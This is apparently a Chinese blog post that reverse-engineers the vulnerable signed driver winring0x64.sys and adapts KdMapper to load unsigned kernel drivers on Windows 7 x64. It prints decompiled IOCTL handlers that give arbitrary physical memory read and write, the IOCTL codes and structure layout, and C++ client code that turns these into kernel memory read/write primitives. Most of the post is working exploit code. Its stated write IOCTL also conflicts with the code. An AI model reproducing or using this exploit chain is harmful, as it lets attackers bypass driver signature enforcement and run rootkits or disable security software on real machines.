1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | winring0x64.sys |
时间戳 | 47638AA4 |
MD5 | 12CECC3C14160F32B21279C1A36B8338 |
文件版本 | 1.0.1.2 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
unsigned __int64 v2; // rax
v2 = BugCheckParameter2;
if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
{
v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
if (!v2)
v2 = 0x2B992DDFA232i64;
BugCheckParameter2 = v2;
}
BugCheckParameter3 = ~v2;
return sub_11008(DriverObject);
}
3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
NTSTATUS result; // eax
NTSTATUS v3; // ebx
struct _UNICODE_STRING DeviceName; // [rsp+40h] [rbp-28h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF
DeviceObject = 0i64;
RtlInitUnicodeString(&DeviceName, L"\\Device\\WinRing0_1_0_1");
result = IoCreateDevice(DriverObject, 0, &DeviceName, 0x9C40u, 0x100u, 0, &DeviceObject);
if (result >= 0)
{
dword_13110 = 0;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_110D8;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_110D8;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_110D8;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11450;
RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\WinRing0_1_0_1");
v3 = IoCreateSymbolicLink(&DestinationString, &DeviceName);
if (v3 < 0)
IoDeleteDevice(DeviceObject);
result = v3;
}
else
{
dword_13110 = -1;
}
return result;
}
3.3 IRP_MJ_DEVICE_CONTROL
IRP_MJ_DEVICE_CONTROL对应的函数 sub_110D8,其代码如下:
__int64 __fastcall sub_110D8(_DEVICE_OBJECT* pDeviceObject, _IRP* pIrp)
{
unsigned int* pInformationReturn; // rsi
_IO_STACK_LOCATION* pIosp; // rdx
unsigned int ntStatus; // ebx
......
pInformationReturn = (unsigned int*)&pIrp->IoStatus.Information;
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
*(_QWORD*)pInformationReturn = 0i64;
ntStatus = 0xC0000002;
......
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
if (v6 > 0x9C4060D4)
{
switch (nIoControlCode)
{
case 0x9C406104:
v10 = ReadPhysicalMemory(
(_WINRING0X64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer,
pIosp->Parameters.DeviceIoControl.InputBufferLength,
pIrp->AssociatedIrp.SystemBuffer,
pIosp->Parameters.DeviceIoControl.OutputBufferLength,
pInformationReturn);
break;
......
case 0x9C40A108:
v10 = WritePhysicalMemory(
(_WINRING0X64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer,
pIosp->Parameters.DeviceIoControl.InputBufferLength,
pIrp->AssociatedIrp.SystemBuffer,
pIosp->Parameters.DeviceIoControl.OutputBufferLength,
pInformationReturn);
break;
}
LABEL_66:
pIrp->IoStatus.Status = ntStatus;
IofCompleteRequest(pIrp, 0);
return ntStatus;
}
其中读取物理内存 ControlCode 为 0x9C406104,写入物理内存为 0x9C406144。
3.4 读取物理内存
如下:
__int64 __fastcall ReadPhysicalMemory(_WINRING0X64_PHYSICAL_MEMORY_INFO* pMemoryInfo, int nInputBufferLength, void* SystemBuffer, unsigned int nOutputBufferLength, unsigned int* ntStatusInformation)
{
unsigned int nTotalSize; // eax
SIZE_T nTotalSizeUnmap; // r12
PVOID pMappedAddress; // rax
char bErrorAlign; // bp
__int64 nCopyPer4BytesLength; // rcx
_DWORD* pBufferPer4Bytes; // rdi
_DWORD* pMappedAddressPer4Bytes; // rsi
__int64 nCopyPer2BytesLength; // rcx
_WORD* pBufferPer2Bytes; // rdi
_WORD* pMappedAddressPer2Bytes; // rsi
if (nInputBufferLength != 16)
return 0xC000000Di64;
nTotalSize = pMemoryInfo->Length * pMemoryInfo->CopyAlign;
if (nOutputBufferLength < nTotalSize)
return 0xC000000Di64;
nTotalSizeUnmap = nTotalSize;
pMappedAddress = MmMapIoSpace(pMemoryInfo->PhysicalAddress, nTotalSize, MmNonCached);
bErrorAlign = 0;
switch (pMemoryInfo->CopyAlign)
{
case 1u:
qmemcpy(SystemBuffer, pMappedAddress, pMemoryInfo->Length);
break;
case 2u:
nCopyPer2BytesLength = pMemoryInfo->Length;
pBufferPer2Bytes = SystemBuffer;
pMappedAddressPer2Bytes = pMappedAddress;
while (nCopyPer2BytesLength)
{
*pBufferPer2Bytes++ = *pMappedAddressPer2Bytes++;
--nCopyPer2BytesLength;
}
break;
case 4u:
nCopyPer4BytesLength = pMemoryInfo->Length;
pBufferPer4Bytes = SystemBuffer;
pMappedAddressPer4Bytes = pMappedAddress;
while (nCopyPer4BytesLength)
{
*pBufferPer4Bytes++ = *pMappedAddressPer4Bytes++;
--nCopyPer4BytesLength;
}
break;
default:
bErrorAlign = 1;
break;
}
MmUnmapIoSpace(pMappedAddress, nTotalSizeUnmap);
if (bErrorAlign)
return 0xC000000Di64;
*ntStatusInformation = nOutputBufferLength;
return 0i64;
}
3.5 写入物理内存
如下:
__int64 __fastcall WritePhysicalMemory(_WINRING0X64_PHYSICAL_MEMORY_INFO* pMemoryInfo, unsigned int nInputBufferLength, void* SystemBuffer, __int64 nOutputBufferLength, _DWORD* ntStatusInformation)
{
SIZE_T nTotalSize; // rbx
PVOID pMappedAddress; // rax
char bErrorAlign; // bp
__int64 nCopyPer4BytesLength; // rcx
_DWORD* pBufferPer4Bytes; // rsi
_DWORD* pMappedAddressPer4Bytes; // rdi
__int64 nCopyPer2BytesLength; // rcx
_WORD* pBufferPer2Bytes; // rsi
_WORD* pMappedAddressPer2Bytes; // rdi
signed __int32 v16[10]; // [rsp+0h] [rbp-28h] BYREF
if (nInputBufferLength < 0x10)
return 0xC000000Di64;
nTotalSize = pMemoryInfo->CopyAlign * pMemoryInfo->Length;
if (nInputBufferLength < nTotalSize + 16)
return 0xC000000Di64;
pMappedAddress = MmMapIoSpace(pMemoryInfo->PhysicalAddress, nTotalSize, MmNonCached);
bErrorAlign = 0;
switch (pMemoryInfo->CopyAlign)
{
case 1u:
qmemcpy(pMappedAddress, &pMemoryInfo[1], pMemoryInfo->Length);
break;
case 2u:
nCopyPer2BytesLength = pMemoryInfo->Length;
pBufferPer2Bytes = &pMemoryInfo[1];
pMappedAddressPer2Bytes = pMappedAddress;
while (nCopyPer2BytesLength)
{
*pMappedAddressPer2Bytes++ = *pBufferPer2Bytes++;
--nCopyPer2BytesLength;
}
break;
case 4u:
nCopyPer4BytesLength = pMemoryInfo->Length;
pBufferPer4Bytes = &pMemoryInfo[1].PhysicalAddress;
pMappedAddressPer4Bytes = pMappedAddress;
while (nCopyPer4BytesLength)
{
*pMappedAddressPer4Bytes++ = *pBufferPer4Bytes++;
--nCopyPer4BytesLength;
}
break;
default:
bErrorAlign = 1;
goto LABEL_18;
}
_InterlockedOr(v16, 0);
LABEL_18:
MmUnmapIoSpace(pMappedAddress, nTotalSize);
if (bErrorAlign)
return 0xC000000Di64;
*ntStatusInformation = 0;
return 0i64;
}
3.6 _WINRING0X64_PHYSICAL_MEMORY_INFO结构
00000000 _WINRING0X64_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x10, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 CopyAlign dd ?
0000000C Length dd ?
00000010 _WINRING0X64_PHYSICAL_MEMORY_INFO ends
3.7 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4. 代码实现
4.1 .h文件
#pragma pack(push)
#pragma pack(1)
typedef struct _WINRING0X64_PHYSICAL_MEMORY_INFO {
PHYSICAL_ADDRESS PhysicalAddress;
ULONG CopyAlign; // 1,2,4 使用1时是正常按字节复制数据
ULONG Length;
} WINRING0X64_PHYSICAL_MEMORY_INFO, *PWINRING0X64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define WINRING0X64_DEVICE_TYPE (DWORD)0x9C40
#define WINRING0X64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x1841
#define WINRING0X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x2842
#define IOCTL_WINRING0X64_READ_PHYSICAL_MEMORY \
CTL_CODE(WINRING0X64_DEVICE_TYPE, WINRING0X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C406104
#define IOCTL_WINRING0X64_WRITE_PHYSICAL_MEMORY \
CTL_CODE(WINRING0X64_DEVICE_TYPE, WINRING0X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40A108
4.2 .c文件
NTSTATUS crystalmark_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL crystalmark_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
BOOL WINAPI crystalmark_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
WINRING0X64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.CopyAlign = 1;
request.Length = NumberOfBytes;
request.PhysicalAddress.QuadPart = PhysicalAddress;
__try {
if (DoWrite) {
ULONG nAllocateBufferLength = sizeof(WINRING0X64_PHYSICAL_MEMORY_INFO) + NumberOfBytes;
PBYTE pBufferWrite = (PBYTE)malloc(nAllocateBufferLength);
if (pBufferWrite)
{
RtlZeroMemory(pBufferWrite, nAllocateBufferLength);
RtlCopyMemory(pBufferWrite, &request, sizeof(request));
RtlCopyMemory((PBYTE)pBufferWrite + sizeof(request), Buffer, NumberOfBytes);
bResult = SuperCallDriver(DeviceHandle,
IOCTL_WINRING0X64_WRITE_PHYSICAL_MEMORY,
pBufferWrite,
nAllocateBufferLength,
0,
0);
}
else
{
Log(L"[!] Write Physical Memory Allocate Temp Memory Failed" << std::endl);
}
}
else {
bResult = SuperCallDriver(DeviceHandle,
IOCTL_WINRING0X64_READ_PHYSICAL_MEMORY,
&request,
sizeof(request),
Buffer,
NumberOfBytes);
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
5. 运行效果
Windows7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
使用winring0x64.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。
标签:__,winring0x64,CrystalMark,return,pMemoryInfo,WINRING0X64,sys,MEMORY,PHYSICAL From: https://www.cnblogs.com/ImprisonedSoul/p/17689133.html